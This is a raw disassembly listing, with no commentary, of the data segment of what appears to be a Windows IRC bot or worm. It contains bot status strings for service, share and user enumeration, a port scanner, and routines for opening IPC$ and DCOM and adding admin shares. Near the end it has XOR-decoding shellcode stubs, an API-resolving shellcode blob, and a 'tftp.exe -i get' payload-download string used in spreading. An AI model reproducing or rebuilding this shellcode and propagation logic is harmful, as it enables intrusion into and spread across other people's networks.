'Added',0 ; DATA XREF: seg002:off_436614o align 4 aAdd db 'Add',0 ; DATA XREF: seg002:off_436610o dword_4366D8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DCD+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_436710 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DCD+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_43674C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DCD+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412EF6+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412EF6:loc_41300Eo align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412EF6:loc_413007o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_412EF6:loc_413000o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_412EF6:loc_412FF9o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_412EF6:loc_412FF2o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_412EF6:loc_412FEBo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412EF6:loc_412FE4o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_412EF6:loc_412FDDo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_412EF6:loc_412FD6o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_412EF6:loc_412FCFo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_412EF6:loc_412FA4o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_412EF6:loc_412F9Do db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_412EF6:loc_412F96o db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_412EF6:loc_412F8Fo align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412EF6+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_412EF6:loc_412F64o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_412EF6:loc_412F5Ao aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_412EF6:loc_412F50o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412EF6:loc_412F46o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_412EF6:loc_412F3Co align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412EF6+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_413074+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_413074:loc_413140o aStarting db ' Starting',0 ; DATA XREF: sub_413074:loc_413139o aStoping db ' Stoping',0 ; DATA XREF: sub_413074:loc_413132o aRunning_0 db ' Running',0 ; DATA XREF: sub_413074:loc_41312Bo aContinuing db ' Continuing',0 ; DATA XREF: sub_413074:loc_413124o aPausing db ' Pausing',0 ; DATA XREF: sub_413074:loc_41311Do aPaused_0 db ' Paused',0 ; DATA XREF: sub_413074:loc_413116o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_413074+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_413074+25o align 4 dword_436CB4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131B1+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_436CEC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131B1+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_436D1C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131B1+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133A6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4133A6+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4133A6+B5o dword_436D7C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4133A6+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4133A6+26o align 10h dword_436DF0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134C7+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_436E2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134C7+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_436E6C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134C7+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 10h dword_436EA0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41360D+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41360D+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41360D+33Fo align 10h aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41360D+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41360D+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41360D+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41360D+299o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41360D+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41360D+246o align 10h aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41360D+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41360D+1F3o align 10h aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41360D+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41360D+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41360D+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41360D+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41360D+125o aGuest db 'Guest',0 ; DATA XREF: sub_41360D:loc_413726o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_41360D:loc_41371Fo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41360D+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41360D+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41360D+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_41360D+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139DB+14Fo align 10h dword_437060 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139DB+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_5 db ' %S',0 ; DATA XREF: sub_4139DB+BEo align 4 dword_4370A8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139DB+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139DB+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B5B:loc_413C78o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B5B:loc_413C71o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B5B:loc_413C6Ao align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413C63o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B5B:loc_413C5Co align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_413B5B:loc_413C3Fo db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B5B:loc_413C38o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B5B:loc_413C31o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_413B5B+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_413B5B:loc_413C06o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BFFo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_413B5B:loc_413BF8o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B5B:loc_413BEEo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B5B+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BC8o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B5B:loc_413BBEo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B5B:loc_413BB4o align 10h aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_413B5B:loc_413BAAo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B5B:loc_413BA0o align 10h aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B5B+3Bo align 4 dword_4373C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413C8F+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_437400 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413C8F+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DB8+120o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DB8+5Ao ; sub_413DB8+19Eo align 4 dword_43745C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F69:loc_413FF0o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_437494 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F69+80o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 10h dword_4374D0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F69+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 10h dd 0 dword_437514 dd 1 off_437518 dd offset sub_4140AE ; DATA XREF: sub_414419+49r aLetter db 'letter',0 align 8 dd 2, 41410Ch, 706D6F63h, 2 dup(0) dd 3, 414159h, 6E756F63h, 797274h, 0 dd 4, 4141F7h, 736Fh, 2 dup(0) dd 5, 41426Ch dword_43756C dd 69257325h, 0 ; seg000:004141D8o ... dword_437574 dd 4350h dword_437578 dd 7C7325h ; sub_414419+39o dword_43757C dd 5D73255Bh, 7Chdword_437584 dd 334B32h dword_437588 dd 5D64255Bh, 7325hdword_437590 dd 5D4D5Bh ; sub_414376+57o unk_437594 db 2 ; DATA XREF: sub_414482+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_4375D0 db 2 ; DATA XREF: sub_41454F+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_437610 dd offset dword_437648 ; DATA XREF: seg000:00414853o ; sub_4149C4+17Ao align 8 dd offset dword_437640 align 10h off_437620 dd offset dword_43763C ; DATA XREF: sub_4149C4+1E3o dd offset dword_437638 dd offset dword_437634 dd offset dword_437630 dword_437630 dd 5C3A44h ; seg002:0043762Co dword_437634 dd 2444h dword_437638 dd 5C3A43h dword_43763C dd 2443h dword_437640 dd 494D4441h, 244Ehdword_437648 dd 24435049h, 0 unk_437650 db 2 ; DATA XREF: seg000:00414985o ; sub_4149C4+2D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_437694 db 2 ; DATA XREF: seg000:0041496Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 10h unk_4376D0 db 2 ; DATA XREF: seg000:loc_414902o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 10h unk_437710 db 2 ; DATA XREF: seg000:004148FBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_437748 db 2 ; DATA XREF: seg000:loc_41486Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_437788 db 2 ; DATA XREF: seg000:00414868o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 10h unk_4377C0 db 2 ; DATA XREF: seg000:loc_4147D2o ; sub_4149C4:loc_414AF2o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_437804 db 2 ; DATA XREF: seg000:loc_4147CBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_437854 db 2 ; DATA XREF: seg000:loc_4147ADo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_43789C db 2 ; DATA XREF: seg000:004147A6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:0041478Do ; sub_4149C4+EDo align 10h unk_437900 db 2 ; DATA XREF: seg000:00414731o ; sub_4149C4+91o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_437944 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: seg000:loc_41470Do dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_437974 db 2 ; DATA XREF: seg000:00414706o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:004146F4o ; sub_4149C4+54o align 4 word_4379B8 dw 4Eh ; DATA XREF: seg000:004146D8r align 4 unk_4379BC db 2 ; DATA XREF: sub_4149C4+2C0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_2 db '%c:\',0 ; DATA XREF: sub_4149C4+22Ao align 4 aC_3 db '%c$',0 ; DATA XREF: sub_4149C4+219o unk_437A00 db 2 ; DATA XREF: sub_4149C4:loc_414B63o ; sub_4149C4:loc_414C31o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_437A3C db 2 ; DATA XREF: sub_4149C4+198o ; sub_4149C4+266o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_437A70 db 2 ; DATA XREF: sub_4149C4:loc_414AEBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 10h unk_437AC0 db 2 ; DATA XREF: sub_4149C4:loc_414ACDo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_437B08 db 2 ; DATA XREF: sub_4149C4+102o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_437B58 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_4149C4:loc_414A31o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_437B88 db 2 ; DATA XREF: sub_4149C4+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 10h word_437BC0 dw 59h ; DATA XREF: sub_4149C4+38r align 4 loc_437BC4: ; DATA XREF: sub_414E72+C4o jmp short loc_437BC8 ; --------------------------------------------------------------------------- loc_437BC6: ; CODE XREF: seg002:loc_437BC8p jmp short loc_437BCD ; --------------------------------------------------------------------------- loc_437BC8: ; CODE XREF: seg002:loc_437BC4j call loc_437BC6 loc_437BCD: ; CODE XREF: seg002:loc_437BC6j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_437BD2 dw 0FFFFh ; DATA XREF: sub_414E72+CCw db 80h, 73h, 0Eh byte_437BD7 db 0FFh ; DATA XREF: sub_414E72+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_437BDC: ; DATA XREF: sub_414E72+A2o jmp short loc_437BE0 ; --------------------------------------------------------------------------- loc_437BDE: ; CODE XREF: seg002:loc_437BE0p jmp short loc_437BE5 ; --------------------------------------------------------------------------- loc_437BE0: ; CODE XREF: seg002:loc_437BDCj call loc_437BDE loc_437BE5: ; CODE XREF: seg002:loc_437BDEj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_437BE9 db 0FFh ; DATA XREF: sub_414E72+AAw dw 7380h db 0Ch byte_437BED db 0FFh ; DATA XREF: sub_414E72+B0w dw 0E243h dd 0F9h dword_437BF4 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_414CFB+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_437C58 dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414CFB+79o aJ_0 db 'j',0 db 0E8h dword_437C71 dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_437C78 retn ; --------------------------------------------------------------------------- byte_437C78 db 0E8h ; CODE XREF: seg002:00437C75j dword_437C79 dd 1 byte_437C7D db 0, 6Ah, 0 ; DATA XREF: sub_414CFB+C2o dd 7E8h db 0, 0Fh, 84h dword_437C87 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415207+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415207+35o dword_437D08 dd 0BB0A91h align 10h dword_437D10 dd 173Fh dd 9875h, 9873h off_437D1C dd offset sub_415F1B ; DATA XREF: sub_4177DAr dd offset nullsub_2 dd offset nullsub_2 dword_437D28 dd 1B3Fh dword_437D2C dd 19930520h, 4 dup(0) ; sub_41641E+2o off_437D40 dd offset sub_417818 ; DATA XREF: sub_417BCE+1Cr dword_437D44 dd 2 ; sub_41CEF9+46r ... off_437D48 dd offset aNull_0 ; DATA XREF: sub_417D2C:loc_418090r ; sub_417D2C+457r ; "(null)" off_437D4C dd offset aNull ; DATA XREF: sub_417D2C+259r ; "(null)" off_437D50 dd offset word_437D5A ; DATA XREF: sub_4159B4+23r ; sub_4159B4:loc_415A15r ... dd offset word_437D5A db 2 dup(0) word_437D5A dw 20h ; DATA XREF: sub_41E69D+18r ; seg002:off_437D50o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_437F5C dd 1 ; sub_4159B4:loc_415A00r ... byte_437F60 db 2Eh ; DATA XREF: sub_419EF8:loc_419F38r ; sub_419F52+4r ... align 4 dd 1, 10h dword_437F6C dd 3F8h ; sub_4174BF+4Dr ... dword_437F70 dd 14h off_437F74 dd offset aExp ; DATA XREF: sub_419C41:loc_419C5Er ; "exp" dd 1Dh, 4217A4h, 1Ah, 4217A0h, 1Bh, 421798h, 1Fh, 421790h dd 13h, 421788h, 21h, 421780h, 0Eh, 421778h, 0Dh, 421770h dd 0Fh, 421768h, 10h, 421760h, 5, 421758h, 1Eh, 421754h dd 12h, 421750h, 20h, 42174Ch, 0Ch, 421744h, 0Bh, 42173Ch dd 15h, 421734h, 1Ch, 42172Ch, 19h, 421724h, 11h, 42171Ch dd 18h, 421714h, 16h, 42170Ch, 17h, 421704h, 22h, 421700h dd 23h, 4216FCh, 24h, 4216F8h dbl_438048 dq 1.797693134862316e308 ; DATA XREF: sub_41997C+B7r ; sub_41997C:loc_419A63r ... dd 0 dd 0FFF80000h dbl_438058 dq 1.797693134862316e308 ; DATA XREF: sub_41997C+92r ; sub_41997C:loc_419A3Br ... dd 0 dd 100000h, 0 dd 80000000h tbyte_438070 dt 2.3562723457267347066e313 ; DATA XREF: sub_419E29+Dr ; sub_419E29+1Fr align 4 tbyte_43807C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_419E29+31r align 4 off_438088 dd offset sub_41A2BD ; DATA XREF: sub_415F33+Fw ; sub_417D2C+3AAr off_43808C dd offset sub_419F52 ; DATA XREF: sub_415F33+5w ; sub_417D2C+3E2r off_438090 dd offset sub_419FB8 ; DATA XREF: sub_415F33+14w ; sub_41AD1D+430r off_438094 dd offset sub_419EF8 ; DATA XREF: sub_415F33+1Ew ; sub_417D2C+3CBr off_438098 dd offset sub_419FA0 ; DATA XREF: sub_415F33+28w off_43809C dd offset sub_41A2BD ; DATA XREF: sub_415F33+32w dd offset sub_41DEE2 align 10h dd offset sub_41AB7C off_4380B4 dd offset sub_41AB7C ; DATA XREF: sub_41ABD2+29r dword_4380B8 dd 0D2D0920h, 5Dhdword_4380C0 